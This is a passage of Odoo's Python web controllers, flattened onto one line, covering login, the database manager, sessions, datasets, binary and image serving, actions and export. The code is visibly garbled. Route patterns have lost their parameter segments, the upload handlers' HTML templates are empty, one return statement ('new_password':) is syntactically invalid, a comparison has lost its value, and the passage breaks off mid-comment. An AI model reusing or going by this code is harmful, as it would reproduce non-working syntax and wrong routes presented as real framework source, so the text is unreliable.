monodb: dbside = module_installed_bypass_session(monodb) dbside = [i for i in dbside if i not in serverside] addons = serverside + dbside return addons def concat_xml(file_list): """Concatenate xml files :param list(str) file_list: list of files to check :returns: (concatenation_result, checksum) :rtype: (bytes, str) """ checksum = hashlib.new('sha1') if not file_list: return b'', checksum.hexdigest() root = None for fname in file_list: with open(fname, 'rb') as fp: contents = fp.read() checksum.update(contents) fp.seek(0) try: xml = ElementTree.parse(fp).getroot() except ElementTree.ParseError as e: _logger.error("Could not parse file %s: %s" % (fname, e.msg)) raise e if root is None: root = ElementTree.Element(xml.tag) #elif root.tag != xml.tag: # raise ValueError("Root tags missmatch: %r != %r" % (root.tag, xml.tag)) for child in xml.getchildren(): root.append(child) return ElementTree.tostring(root, 'utf-8'), checksum.hexdigest() def fs2web(path): """convert FS path into web path""" return '/'.join(path.split(os.path.sep)) def manifest_glob(extension, addons=None, db=None, include_remotes=False): if addons is None: addons = module_boot(db=db) else: addons = addons.split(',') r = [] for addon in addons: manifest = http.addons_manifest.get(addon, None) if not manifest: continue # ensure does not ends with / addons_path = os.path.join(manifest['addons_path'], '')[:-1] globlist = manifest.get(extension, []) for pattern in globlist: if pattern.startswith(('http://', 'https://', '//')): if include_remotes: r.append((None, pattern)) else: for path in glob.glob(os.path.normpath(os.path.join(addons_path, addon, pattern))): r.append((path, fs2web(path[len(addons_path):]))) return r def manifest_list(extension, mods=None, db=None, debug=None): """ list resources to load specifying either: mods: a comma separated string listing modules db: a database name (return all installed modules in that database) """ if debug is not None: _logger.warning("odoo.addons.web.main.manifest_list(): debug parameter is deprecated") files = manifest_glob(extension, addons=mods, db=db, include_remotes=True) return [wp for _fp, wp in files] def get_last_modified(files): """ Returns the modification time of the most recently modified file provided :param list(str) files: names of files to check :return: most recent modification time amongst the fileset :rtype: datetime.datetime """ files = list(files) if files: return max(datetime.datetime.fromtimestamp(os.path.getmtime(f)) for f in files) return datetime.datetime(1970, 1, 1) def make_conditional(response, last_modified=None, etag=None, max_age=0): """ Makes the provided response conditional based upon the request, and mandates revalidation from clients Uses Werkzeug's own :meth:`ETagResponseMixin.make_conditional`, after setting ``last_modified`` and ``etag`` correctly on the response object :param response: Werkzeug response :type response: werkzeug.wrappers.Response :param datetime.datetime last_modified: last modification date of the response content :param str etag: some sort of checksum of the content (deep etag) :return: the response object provided :rtype: werkzeug.wrappers.Response """ response.cache_control.must_revalidate = True response.cache_control.max_age = max_age if last_modified: response.last_modified = last_modified if etag: response.set_etag(etag) return response.make_conditional(request.httprequest) def login_and_redirect(db, login, key, redirect_url='/web'): request.session.authenticate(db, login, key) return set_cookie_and_redirect(redirect_url) def set_cookie_and_redirect(redirect_url): redirect = werkzeug.utils.redirect(redirect_url, 303) redirect.autocorrect_location_header = False return redirect def clean_action(action): action.setdefault('flags', {}) action_type = action.setdefault('type', 'ir.actions.act_window_close') if action_type == 'ir.actions.act_window': return fix_view_modes(action) return action # I think generate_views,fix_view_modes should go into js ActionManager def generate_views(action): """ While the server generates a sequence called "views" computing dependencies between a bunch of stuff for views coming directly from the database (the ``ir.actions.act_window model``), it's also possible for e.g. buttons to return custom view dictionaries generated on the fly. In that case, there is no ``views`` key available on the action. Since the web client relies on ``action['views']``, generate it here from ``view_mode`` and ``view_id``. Currently handles two different cases: * no view_id, multiple view_mode * single view_id, single view_mode :param dict action: action descriptor dictionary to generate a views key for """ view_id = action.get('view_id') or False if isinstance(view_id, (list, tuple)): view_id = view_id[0] # providing at least one view mode is a requirement, not an option view_modes = action['view_mode'].split(',') if len(view_modes) > 1: if view_id: raise ValueError('Non-db action dictionaries should provide ' 'either multiple view modes or a single view ' 'mode and an optional view id.\n\n Got view ' 'modes %r and view id %r for action %r' % ( view_modes, view_id, action)) action['views'] = [(False, mode) for mode in view_modes] return action['views'] = [(view_id, view_modes[0])] def fix_view_modes(action): """ For historical reasons, Odoo has weird dealings in relation to view_mode and the view_type attribute (on window actions): * one of the view modes is ``tree``, which stands for both list views and tree views * the choice is made by checking ``view_type``, which is either ``form`` for a list view or ``tree`` for an actual tree view This methods simply folds the view_type into view_mode by adding a new view mode ``list`` which is the result of the ``tree`` view_mode in conjunction with the ``form`` view_type. TODO: this should go into the doc, some kind of "peculiarities" section :param dict action: an action descriptor :returns: nothing, the action is modified in place """ if not action.get('views'): generate_views(action) if action.pop('view_type', 'form') != 'form': return action if 'view_mode' in action: action['view_mode'] = ','.join( mode if mode != 'tree' else 'list' for mode in action['view_mode'].split(',')) action['views'] = [ [id, mode if mode != 'tree' else 'list'] for id, mode in action['views'] ] return action def _local_web_translations(trans_file): messages = [] try: with open(trans_file) as t_file: po = babel.messages.pofile.read_po(t_file) except Exception: return for x in po: if x.id and x.string and "openerp-web" in x.auto_comments: messages.append({'id': x.id, 'string': x.string}) return messages def xml2json_from_elementtree(el, preserve_whitespaces=False): """ xml2json-direct Simple and straightforward XML-to-JSON converter in Python New BSD Licensed http://code.google.com/p/xml2json-direct/ """ res = {} if el.tag[0] == "{": ns, name = el.tag.rsplit("}", 1) res["tag"] = name res["namespace"] = ns[1:] else: res["tag"] = el.tag res["attrs"] = {} for k, v in el.items(): res["attrs"][k] = v kids = [] if el.text and (preserve_whitespaces or el.text.strip() != ''): kids.append(el.text) for kid in el: kids.append(xml2json_from_elementtree(kid, preserve_whitespaces)) if kid.tail and (preserve_whitespaces or kid.tail.strip() != ''): kids.append(kid.tail) res["children"] = kids return res def binary_content(xmlid=None, model='ir.attachment', id=None, field='datas', unique=False, filename=None, filename_field='datas_fname', download=False, mimetype=None, default_mimetype='application/octet-stream', related_id=None, access_mode=None, access_token=None, env=None): return request.registry['ir.http'].binary_content( xmlid=xmlid, model=model, id=id, field=field, unique=unique, filename=filename, filename_field=filename_field, download=download, mimetype=mimetype, default_mimetype=default_mimetype, related_id=related_id, access_mode=access_mode, access_token=access_token, env=env) #---------------------------------------------------------- # Odoo Web web Controllers #---------------------------------------------------------- class Home(http.Controller): @http.route('/', type='http', auth="none") def index(self, s_action=None, db=None, **kw): return http.local_redirect('/web', query=request.params, keep_hash=True) # ideally, this route should be `auth="user"` but that don't work in non-monodb mode. @http.route('/web', type='http', auth="none") def web_client(self, s_action=None, **kw): ensure_db() if not request.session.uid: return werkzeug.utils.redirect('/web/login', 303) if kw.get('redirect'): return werkzeug.utils.redirect(kw.get('redirect'), 303) request.uid = request.session.uid try: context = request.env['ir.http'].webclient_rendering_context() response = request.render('web.webclient_bootstrap', qcontext=context) response.headers['X-Frame-Options'] = 'DENY' return response except AccessError: return werkzeug.utils.redirect('/web/login?error=access') @http.route('/web/dbredirect', type='http', auth="none") def web_db_redirect(self, redirect='/', **kw): ensure_db() return werkzeug.utils.redirect(redirect, 303) def _login_redirect(self, uid, redirect=None): return redirect if redirect else '/web' @http.route('/web/login', type='http', auth="none", sitemap=False) def web_login(self, redirect=None, **kw): ensure_db() request.params['login_success'] = False if request.httprequest.method == 'GET' and redirect and request.session.uid: return http.redirect_with_hash(redirect) if not request.uid: request.uid = odoo.SUPERUSER_ID values = request.params.copy() try: values['databases'] = http.db_list() except odoo.exceptions.AccessDenied: values['databases'] = None if request.httprequest.method == 'POST': old_uid = request.uid try: uid = request.session.authenticate(request.session.db, request.params['login'], request.params['password']) request.params['login_success'] = True return http.redirect_with_hash(self._login_redirect(uid, redirect=redirect)) except odoo.exceptions.AccessDenied as e: request.uid = old_uid if e.args == odoo.exceptions.AccessDenied().args: values['error'] = _("Wrong login/password") else: values['error'] = e.args[0] else: if 'error' in request.params and request.params.get('error') == 'access': values['error'] = _('Only employee can access this database. Please contact the administrator.') if 'login' not in values and request.session.get('auth_login'): values['login'] = request.session.get('auth_login') if not odoo.tools.config['list_db']: values['disable_database_manager'] = True # otherwise no real way to test debug mode in template as ?debug => # values['debug'] = '' but that's also the fallback value when # missing variables in qweb if 'debug' in values: values['debug'] = True response = request.render('web.login', values) response.headers['X-Frame-Options'] = 'DENY' return response @http.route('/web/become', type='http', auth='user', sitemap=False) def switch_to_admin(self): uid = request.env.user.id if request.env.user._is_system(): uid = request.session.uid = odoo.SUPERUSER_ID request.env['res.users']._invalidate_session_cache() request.session.session_token = security.compute_session_token(request.session, request.env) return http.local_redirect(self._login_redirect(uid), keep_hash=True) class WebClient(http.Controller): @http.route('/web/webclient/csslist', type='json', auth="none") def csslist(self, mods=None): return manifest_list('css', mods=mods) @http.route('/web/webclient/jslist', type='json', auth="none") def jslist(self, mods=None): return manifest_list('js', mods=mods) @http.route('/web/webclient/locale/', type='http', auth="none") def load_locale(self, lang): magic_file_finding = [lang.replace("_", '-').lower(), lang.split('_')[0]] for code in magic_file_finding: try: return http.Response( werkzeug.wsgi.wrap_file( request.httprequest.environ, file_open('web/static/lib/moment/locale/%s.js' % code, 'rb') ), content_type='application/javascript; charset=utf-8', headers=[('Cache-Control', 'max-age=36000')], direct_passthrough=True, ) except IOError: _logger.debug("No moment locale for code %s", code) return request.make_response("", headers=[ ('Content-Type', 'application/javascript'), ('Cache-Control', 'max-age=36000'), ]) @http.route('/web/webclient/qweb', type='http', auth="none", cors="*") def qweb(self, mods=None, db=None): files = [f[0] for f in manifest_glob('qweb', addons=mods, db=db)] last_modified = get_last_modified(files) if request.httprequest.if_modified_since and request.httprequest.if_modified_since >= last_modified: return werkzeug.wrappers.Response(status=304) content, checksum = concat_xml(files) return make_conditional( request.make_response(content, [('Content-Type', 'text/xml')]), last_modified, checksum) @http.route('/web/webclient/bootstrap_translations', type='json', auth="none") def bootstrap_translations(self, mods): """ Load local translations from *.po files, as a temporary solution until we have established a valid session. This is meant only for translating the login page and db management chrome, using the browser's language. """ # For performance reasons we only load a single translation, so for # sub-languages (that should only be partially translated) we load the # main language PO instead - that should be enough for the login screen. lang = request.lang.split('_')[0] translations_per_module = {} for addon_name in mods: if http.addons_manifest[addon_name].get('bootstrap'): addons_path = http.addons_manifest[addon_name]['addons_path'] f_name = os.path.join(addons_path, addon_name, "i18n", lang + ".po") if not os.path.exists(f_name): continue translations_per_module[addon_name] = {'messages': _local_web_translations(f_name)} return {"modules": translations_per_module, "lang_parameters": None} @http.route('/web/webclient/translations', type='json', auth="none") def translations(self, mods=None, lang=None): request.disable_db = False if mods is None: mods = [x['name'] for x in request.env['ir.module.module'].sudo().search_read( [('state', '=', 'installed')], ['name'])] if lang is None: lang = request.context["lang"] langs = request.env['res.lang'].sudo().search([("code", "=", lang)]) lang_params = None if langs: lang_params = langs.read([ "name", "direction", "date_format", "time_format", "grouping", "decimal_point", "thousands_sep", "week_start"])[0] # Regional languages (ll_CC) must inherit/override their parent lang (ll), but this is # done server-side when the language is loaded, so we only need to load the user's lang. translations_per_module = {} messages = request.env['ir.translation'].sudo().search_read([ ('module', 'in', mods), ('lang', '=', lang), ('comments', 'like', 'openerp-web'), ('value', '!=', False), ('value', '!=', '')], ['module', 'src', 'value', 'lang'], order='module') for mod, msg_group in itertools.groupby(messages, key=operator.itemgetter('module')): translations_per_module.setdefault(mod, {'messages': []}) translations_per_module[mod]['messages'].extend({ 'id': m['src'], 'string': m['value']} for m in msg_group) return { 'lang_parameters': lang_params, 'modules': translations_per_module, 'multi_lang': len(request.env['res.lang'].sudo().get_installed()) > 1, } @http.route('/web/webclient/version_info', type='json', auth="none") def version_info(self): return odoo.service.common.exp_version() @http.route('/web/tests', type='http', auth="user") def test_suite(self, mod=None, **kwargs): return request.render('web.qunit_suite') @http.route('/web/tests/mobile', type='http', auth="none") def test_mobile_suite(self, mod=None, **kwargs): return request.render('web.qunit_mobile_suite') @http.route('/web/benchmarks', type='http', auth="none") def benchmarks(self, mod=None, **kwargs): return request.render('web.benchmark_suite') class Proxy(http.Controller): @http.route('/web/proxy/load', type='json', auth="none") def load(self, path): """ Proxies an HTTP request through a JSON request. It is strongly recommended to not request binary files through this, as the result will be a binary data blob as well. :param path: actual request path :return: file content """ from werkzeug.test import Client from werkzeug.wrappers import BaseResponse base_url = request.httprequest.base_url return Client(request.httprequest.app, BaseResponse).get(path, base_url=base_url).data @http.route('/web/proxy/post/', type='http', auth='user', methods=['GET']) def post(self, path): """Effectively execute a POST request that was hooked through user login""" with request.session.load_request_data() as data: if not data: raise werkzeug.exceptions.BadRequest() from werkzeug.test import Client from werkzeug.wrappers import BaseResponse base_url = request.httprequest.base_url query_string = request.httprequest.query_string client = Client(request.httprequest.app, BaseResponse) headers = {'X-Openerp-Session-Id': request.session.sid} return client.post('/' + path, base_url=base_url, query_string=query_string, headers=headers, data=data) class Database(http.Controller): def _render_template(self, **d): d.setdefault('manage',True) d['insecure'] = odoo.tools.config.verify_admin_password('') d['list_db'] = odoo.tools.config['list_db'] d['langs'] = odoo.service.db.exp_list_lang() d['countries'] = odoo.service.db.exp_list_countries() d['pattern'] = DBNAME_PATTERN # databases list d['databases'] = [] try: d['databases'] = http.db_list() d['incompatible_databases'] = odoo.service.db.list_db_incompatible(d['databases']) except odoo.exceptions.AccessDenied: monodb = db_monodb() if monodb: d['databases'] = [monodb] return env.get_template("database_manager.html").render(d) @http.route('/web/database/selector', type='http', auth="none") def selector(self, **kw): request._cr = None return self._render_template(manage=False) @http.route('/web/database/manager', type='http', auth="none") def manager(self, **kw): request._cr = None return self._render_template() @http.route('/web/database/create', type='http', auth="none", methods=['POST'], csrf=False) def create(self, master_pwd, name, lang, password, **post): try: if not re.match(DBNAME_PATTERN, name): raise Exception(_('Invalid database name. Only alphanumerical characters, underscore, hyphen and dot are allowed.')) # country code could be = "False" which is actually True in python country_code = post.get('country_code') or False dispatch_rpc('db', 'create_database', [master_pwd, name, bool(post.get('demo')), lang, password, post['login'], country_code, post['phone']]) request.session.authenticate(name, post['login'], password) return http.local_redirect('/web/') except Exception as e: error = "Database creation error: %s" % (str(e) or repr(e)) return self._render_template(error=error) @http.route('/web/database/duplicate', type='http', auth="none", methods=['POST'], csrf=False) def duplicate(self, master_pwd, name, new_name): try: if not re.match(DBNAME_PATTERN, new_name): raise Exception(_('Invalid database name. Only alphanumerical characters, underscore, hyphen and dot are allowed.')) dispatch_rpc('db', 'duplicate_database', [master_pwd, name, new_name]) return http.local_redirect('/web/database/manager') except Exception as e: error = "Database duplication error: %s" % (str(e) or repr(e)) return self._render_template(error=error) @http.route('/web/database/drop', type='http', auth="none", methods=['POST'], csrf=False) def drop(self, master_pwd, name): try: dispatch_rpc('db','drop', [master_pwd, name]) request._cr = None # dropping a database leads to an unusable cursor return http.local_redirect('/web/database/manager') except Exception as e: error = "Database deletion error: %s" % (str(e) or repr(e)) return self._render_template(error=error) @http.route('/web/database/backup', type='http', auth="none", methods=['POST'], csrf=False) def backup(self, master_pwd, name, backup_format = 'zip'): try: odoo.service.db.check_super(master_pwd) ts = datetime.datetime.utcnow().strftime("%Y-%m-%d_%H-%M-%S") filename = "%s_%s.%s" % (name, ts, backup_format) headers = [ ('Content-Type', 'application/octet-stream; charset=binary'), ('Content-Disposition', content_disposition(filename)), ] dump_stream = odoo.service.db.dump_db(name, None, backup_format) response = werkzeug.wrappers.Response(dump_stream, headers=headers, direct_passthrough=True) return response except Exception as e: _logger.exception('Database.backup') error = "Database backup error: %s" % (str(e) or repr(e)) return self._render_template(error=error) @http.route('/web/database/restore', type='http', auth="none", methods=['POST'], csrf=False) def restore(self, master_pwd, backup_file, name, copy=False): try: data_file = None db.check_super(master_pwd) with tempfile.NamedTemporaryFile(delete=False) as data_file: backup_file.save(data_file) db.restore_db(name, data_file.name, str2bool(copy)) return http.local_redirect('/web/database/manager') except Exception as e: error = "Database restore error: %s" % (str(e) or repr(e)) return self._render_template(error=error) finally: if data_file: os.unlink(data_file.name) @http.route('/web/database/change_password', type='http', auth="none", methods=['POST'], csrf=False) def change_password(self, master_pwd, master_pwd_new): try: dispatch_rpc('db', 'change_admin_password', [master_pwd, master_pwd_new]) return http.local_redirect('/web/database/manager') except Exception as e: error = "Master password update error: %s" % (str(e) or repr(e)) return self._render_template(error=error) @http.route('/web/database/list', type='json', auth='none') def list(self): """ Used by Mobile application for listing database :return: List of databases :rtype: list """ return http.db_list() class Session(http.Controller): @http.route('/web/session/get_session_info', type='json', auth="none") def get_session_info(self): request.session.check_security() request.uid = request.session.uid request.disable_db = False return request.env['ir.http'].session_info() @http.route('/web/session/authenticate', type='json', auth="none") def authenticate(self, db, login, password, base_location=None): request.session.authenticate(db, login, password) return request.env['ir.http'].session_info() @http.route('/web/session/change_password', type='json', auth="user") def change_password(self, fields): old_password, new_password,confirm_password = operator.itemgetter('old_pwd', 'new_password','confirm_pwd')( {f['name']: f['value'] for f in fields}) if not (old_password.strip() and new_password.strip() and confirm_password.strip()): return {'error':_('You cannot leave any password empty.'),'title': _('Change Password')} if new_password != confirm_password: return {'error': _('The new password and its confirmation must be identical.'),'title': _('Change Password')} msg = _("Error, password not changed !") try: if request.env['res.users'].change_password(old_password, new_password): return {'new_password':} except UserError as e: msg = e.name except AccessDenied as e: msg = e.args[0] if msg == AccessDenied().args[0]: msg = _('The old password you provided is incorrect, your password was not changed.') return {'title': _('Change Password'), 'error': msg} @http.route('/web/session/get_lang_list', type='json', auth="none") def get_lang_list(self): try: return dispatch_rpc('db', 'list_lang', []) or [] except Exception as e: return {"error": e, "title": _("Languages")} @http.route('/web/session/modules', type='json', auth="user") def modules(self): # return all installed modules. Web client is smart enough to not load a module twice return module_installed(environment=request.env(user=odoo.SUPERUSER_ID)) @http.route('/web/session/save_session_action', type='json', auth="user") def save_session_action(self, the_action): """ This method store an action object in the session object and returns an integer identifying that action. The method get_session_action() can be used to get back the action. :param the_action: The action to save in the session. :type the_action: anything :return: A key identifying the saved action. :rtype: integer """ return request.session.save_action(the_action) @http.route('/web/session/get_session_action', type='json', auth="user") def get_session_action(self, key): """ Gets back a previously saved action. This method can return None if the action was saved since too much time (this case should be handled in a smart way). :param key: The key given by save_session_action() :type key: integer :return: The saved action or None. :rtype: anything """ return request.session.get_action(key) @http.route('/web/session/check', type='json', auth="user") def check(self): request.session.check_security() return None @http.route('/web/session/account', type='json', auth="user") def account(self): ICP = request.env['ir.config_parameter'].sudo() params = { 'response_type': 'token', 'client_id': ICP.get_param('database.uuid') or '', 'state': json.dumps({'d': request.db, 'u': ICP.get_param('web.base.url')}), 'scope': 'userinfo', } return 'https://accounts.odoo.com/oauth2/auth?' + werkzeug.url_encode(params) @http.route('/web/session/destroy', type='json', auth="user") def destroy(self): request.session.logout() @http.route('/web/session/logout', type='http', auth="none") def logout(self, redirect='/web'): request.session.logout(keep_db=True) return werkzeug.utils.redirect(redirect, 303) class DataSet(http.Controller): @http.route('/web/dataset/search_read', type='json', auth="user") def search_read(self, model, fields=False, offset=0, limit=False, domain=None, sort=None): return self.do_search_read(model, fields, offset, limit, domain, sort) def do_search_read(self, model, fields=False, offset=0, limit=False, domain=None , sort=None): """ Performs a search() followed by a read() (if needed) using the provided search criteria :param str model: the name of the model to search on :param fields: a list of the fields to return in the result records :type fields: [str] :param int offset: from which index should the results start being returned :param int limit: the maximum number of records to return :param list domain: the search domain for the query :param list sort: sorting directives :returns: A structure (dict) with two keys: ids (all the ids matching the (domain, context) pair) and records (paginated records matching fields selection set) :rtype: list """ Model = request.env[model] records = Model.search_read(domain, fields, offset=offset or 0, limit=limit or False, order=sort or False) if not records: return { 'length': 0, 'records': [] } if limit and len(records) == limit: length = Model.search_count(domain) else: length = len(records) + (offset or 0) return { 'length': length, 'records': records } @http.route('/web/dataset/load', type='json', auth="user") def load(self, model, id, fields): value = {} r = request.env[model].browse([id]).read() if r: value = r[0] return {'value': value} def call_common(self, model, method, args, domain_id=None, context_id=None): return self._call_kw(model, method, args, {}) def _call_kw(self, model, method, args, kwargs): check_method_name(method) return call_kw(request.env[model], method, args, kwargs) @http.route('/web/dataset/call', type='json', auth="user") def call(self, model, method, args, domain_id=None, context_id=None): return self._call_kw(model, method, args, {}) @http.route(['/web/dataset/call_kw', '/web/dataset/call_kw/'], type='json', auth="user") def call_kw(self, model, method, args, kwargs, path=None): return self._call_kw(model, method, args, kwargs) @http.route('/web/dataset/call_button', type='json', auth="user") def call_button(self, model, method, args, domain_id=None, context_id=None): action = self._call_kw(model, method, args, {}) if isinstance(action, dict) and action.get('type') != '': return clean_action(action) return False @http.route('/web/dataset/resequence', type='json', auth="user") def resequence(self, model, ids, field='sequence', offset=0): """ Re-sequences a number of records in the model, by their ids The re-sequencing starts at the first model of ``ids``, the sequence number is incremented by one after each record and starts at ``offset`` :param ids: identifiers of the records to resequence, in the new sequence order :type ids: list(id) :param str field: field used for sequence specification, defaults to "sequence" :param int offset: sequence number for first record in ``ids``, allows starting the resequencing from an arbitrary number, defaults to ``0`` """ m = request.env[model] if not m.fields_get([field]): return False # python 2.6 has no start parameter for i, record in enumerate(m.browse(ids)): record.write({field: i + offset}) return True class View(http.Controller): @http.route('/web/view/edit_custom', type='json', auth="user") def edit_custom(self, custom_id, arch): """ Edit a custom view :param int custom_id: the id of the edited custom view :param str arch: the edited arch of the custom view :returns: dict with acknowledged operation (result set to True) """ custom_view = request.env['ir.ui.view.custom'].browse(custom_id) custom_view.write({ 'arch': arch }) return {'result': True} class Binary(http.Controller): def placeholder(self, image='placeholder.png'): addons_path = http.addons_manifest['web']['addons_path'] return open(os.path.join(addons_path, 'web', 'static', 'src', 'img', image), 'rb').read() def force_contenttype(self, headers, contenttype='image/png'): dictheaders = dict(headers) dictheaders['Content-Type'] = contenttype return list(dictheaders.items()) @http.route(['/web/content', '/web/content/', '/web/content//', '/web/content/', '/web/content//', '/web/content/-', '/web/content/-/', '/web/content/-//', '/web/content///', '/web/content////'], type='http', auth="public") def content_common(self, xmlid=None, model='ir.attachment', id=None, field='datas', filename=None, filename_field='datas_fname', unique=None, mimetype=None, download=None, data=None, token=None, access_token=None, related_id=None, access_mode=None, **kw): status, headers, content = binary_content( xmlid=xmlid, model=model, id=id, field=field, unique=unique, filename=filename, filename_field=filename_field, download=download, mimetype=mimetype, access_token=access_token, related_id=related_id, access_mode=access_mode) if status == 304: response = werkzeug.wrappers.Response(status=status, headers=headers) elif status == 301: return werkzeug.utils.redirect(content, code=301) elif status != 200: response = request.not_found() else: content_base64 = base64.b64decode(content) headers.append(('Content-Length', len(content_base64))) response = request.make_response(content_base64, headers) if token: response.set_cookie('fileToken', token) return response @http.route(['/web/image', '/web/image/', '/web/image//', '/web/image//x', '/web/image//x/', '/web/image///', '/web/image////', '/web/image////x', '/web/image////x/', '/web/image/', '/web/image//', '/web/image//x', '/web/image//x/', '/web/image/-', '/web/image/-/', '/web/image/-/x', '/web/image/-/x/'], type='http', auth="public") def content_image(self, xmlid=None, model='ir.attachment', id=None, field='datas', filename_field='datas_fname', unique=None, filename=None, mimetype=None, download=None, width=0, height=0, crop=False, related_id=None, access_mode=None, access_token=None, avoid_if_small=False, upper_limit=False, signature=False, **kw): status, headers, content = binary_content( xmlid=xmlid, model=model, id=id, field=field, unique=unique, filename=filename, filename_field=filename_field, download=download, mimetype=mimetype, default_mimetype='image/png', related_id=related_id, access_mode=access_mode, access_token=access_token) if status == 304: return werkzeug.wrappers.Response(status=304, headers=headers) elif status == 301: return werkzeug.utils.redirect(content, code=301) elif status != 200 and download: return request.not_found() if headers and dict(headers).get('Content-Type', '') == 'image/svg+xml': # we shan't resize svg images height = 0 width = 0 else: height = int(height or 0) width = int(width or 0) if not content: content = base64.b64encode(self.placeholder(image='placeholder.png')) headers = self.force_contenttype(headers, contenttype='image/png') if not (width or height): suffix = field.split('_')[-1] if suffix in ('small', 'medium', 'big'): content = getattr(odoo.tools, 'image_resize_image_%s' % suffix)(content) if crop and (width or height): content = crop_image(content, type='center', size=(width, height), ratio=(1, 1)) elif (width or height): if not upper_limit: # resize maximum 500*500 if width > 500: width = 500 if height > 500: height = 500 content = odoo.tools.image_resize_image(base64_source=content, size=(width or None, height or None), encoding='base64', upper_limit=upper_limit, avoid_if_small=avoid_if_small) image_base64 = base64.b64decode(content) headers.append(('Content-Length', len(image_base64))) response = request.make_response(image_base64, headers) response.status_code = status return response # backward compatibility @http.route(['/web/binary/image'], type='http', auth="public") def content_image_backward_compatibility(self, model, id, field, resize=None, **kw): width = None height = None if resize: width, height = resize.split(",") return self.content_image(model=model, id=id, field=field, width=width, height=height) @http.route('/web/binary/upload', type='http', auth="user") @serialize_exception def upload(self, callback, ufile): # TODO: might be useful to have a configuration flag for max-length file uploads out = """""" try: data = ufile.read() args = [len(data), ufile.filename, ufile.content_type, base64.b64encode(data)] except Exception as e: args = [False, str(e)] return out % (json.dumps(callback), json.dumps(args)) @http.route('/web/binary/upload_attachment', type='http', auth="user") @serialize_exception def upload_attachment(self, callback, model, id, ufile): files = request.httprequest.files.getlist('ufile') Model = request.env['ir.attachment'] out = """""" args = [] for ufile in files: filename = ufile.filename if request.httprequest.user_agent.browser == 'safari': # Safari sends NFD UTF-8 (where é is composed by 'e' and [accent]) # we need to send it the same stuff, otherwise it'll fail filename = unicodedata.normalize('NFD', ufile.filename) try: attachment = Model.create({ 'name': filename, 'datas': base64.encodestring(ufile.read()), 'datas_fname': filename, 'res_model': model, 'res_id': int(id) }) attachment._post_add_create() except Exception: args.append({'error': _("Something horrible happened")}) _logger.exception("Fail to upload attachment %s" % ufile.filename) else: args.append({ 'filename': filename, 'mimetype': ufile.content_type, 'id': attachment.id }) return out % (json.dumps(callback), json.dumps(args)) @http.route([ '/web/binary/company_logo', '/logo', '/logo.png', ], type='http', auth="none", cors="*") def company_logo(self, dbname=None, **kw): imgname = 'logo' imgext = '.png' placeholder = functools.partial(get_resource_path, 'web', 'static', 'src', 'img') uid = None if request.session.db: dbname = request.session.db uid = request.session.uid elif dbname is None: dbname = db_monodb() if not uid: uid = odoo.SUPERUSER_ID if not dbname: response = http.send_file(placeholder(imgname + imgext)) else: try: # create an empty registry registry = odoo.modules.registry.Registry(dbname) with registry.cursor() as cr: company = int(kw['company']) if kw and kw.get('company') else False if company: cr.execute("""SELECT logo_web, write_date FROM res_company WHERE id = %s """, (company,)) else: cr.execute("""SELECT c.logo_web, c.write_date FROM res_users u LEFT JOIN res_company c ON c.id = u.company_id WHERE u.id = %s """, (uid,)) row = cr.fetchone() if row and row[0]: image_base64 = base64.b64decode(row[0]) image_data = io.BytesIO(image_base64) mimetype = guess_mimetype(image_base64, default='image/png') imgext = '.' + mimetype.split('/')[1] if imgext == '.svg+xml': imgext = '.svg' response = http.send_file(image_data, filename=imgname + imgext, mimetype=mimetype, mtime=row[1]) else: response = http.send_file(placeholder('nologo.png')) except Exception: response = http.send_file(placeholder(imgname + imgext)) return response class Action(http.Controller): @http.route('/web/action/load', type='json', auth="user") def load(self, action_id, additional_context=None): Actions = request.env['ir.actions.actions'] value = False try: action_id = int(action_id) except ValueError: try: action = request.env.ref(action_id) assert action._name.startswith('ir.actions.') action_id = action.id except Exception: action_id = 0 # force failed read base_action = Actions.browse([action_id]).read(['type']) if base_action: ctx = dict(request.context) action_type = base_action[0]['type'] if action_type == 'ir.actions.report': ctx.update({'bin_size': True}) if additional_context: ctx.update(additional_context) request.context = ctx action = request.env[action_type].browse([action_id]).read() if action: value = clean_action(action[0]) return value @http.route('/web/action/run', type='json', auth="user") def run(self, action_id): result = request.env['ir.actions.server'].browse([action_id]).run() return clean_action(result) if result else False class Export(http.Controller): @http.route('/web/export/formats', type='json', auth="user") def formats(self): """ Returns all valid export formats :returns: for each export format, a pair of identifier and printable name :rtype: [(str, str)] """ return [ {'tag': 'xls', 'label': 'Excel', 'error': None if xlwt else "XLWT 1.3.0 required"}, {'tag': 'csv', 'label': 'CSV'}, ] def fields_get(self, model): Model = request.env[model] fields = Model.fields_get() return fields @http.route('/web/export/get_fields', type='json', auth="user") def get_fields(self, model, prefix='', parent_name= '', import_compat=True, parent_field_type=None, parent_field=None, exclude=None): if import_compat and parent_field_type in ['many2one', 'many2many']: fields = self.fields_get(model) fields = {k: v for k, v in fields.items() if k in ['id', 'name']} else: fields = self.fields_get(model) if not import_compat: fields['.id'] = fields.pop('id', {'string': 'ID'}) else: fields['id']['string'] = _('External ID') if parent_field: parent_field['string'] = _('External ID') fields['id'] = parent_field fields_sequence = sorted(fields.items(), key=lambda field: (field[0] not in ['id', '.id', 'display_name', 'name'], odoo.tools.ustr(field[1].get('string', '')))) records = [] for field_name, field in fields_sequence: if import_compat and not field_name == 'id': if exclude and field_name in exclude: continue if field.get('readonly'): # If none of the field's states unsets readonly, skip the field if all(dict(attrs).get('readonly', True) for attrs in field.get('states', {}).values()): continue if not field.get('exportable', True): continue id = prefix + (prefix and '/'or '') + field_name if field_name == 'name' and import_compat and parent_field_type in ['many2one', 'many2many']: # Add name field when expand m2o and m2m fields in import-compatible mode id = prefix name = parent_name + (parent_name and '/' or '') + field['string'] record = {'id': id, 'string': name, 'value': id, 'children': False, 'field_type': field.get('type'), 'required': field.get('required'), 'relation_field': field.get('relation_field')} records.append(record) if len(id.split('/')) < 3 and 'relation' in field: ref = field.pop('relation') record['value'] += '/id' record['params'] = {'model': ref, 'prefix': id, 'name': name, 'parent_field': field} record['children'] = True return records @http.route('/web/export/namelist', type='json', auth="user") def namelist(self, model, export_id): # TODO: namelist really has no reason to be in Python (although itertools.groupby helps) export = request.env['ir.exports'].browse([export_id]).read()[0] export_fields_list = request.env['ir.exports.line'].browse(export['export_fields']).read() fields_data = self.fields_info( model, [f['name'] for f in export_fields_list]) return [ {'name': field['name'], 'label': fields_data[field['name']]} for field in export_fields_list ] def fields_info(self, model, export_fields): info = {} fields = self.fields_get(model) if ".id" in export_fields: fields['.id'] = fields.get('id', {'string': 'ID'}) # To make fields retrieval more efficient, fetch all sub-fields of a # given field at the same time. Because the order in the export list is # arbitrary, this requires ordering all sub-fields of a given field # together so they can be fetched at the same time # # Works the following way: # * sort the list of fields to export, the default sorting order will # put the field itself (if present, for xmlid) and all of its # 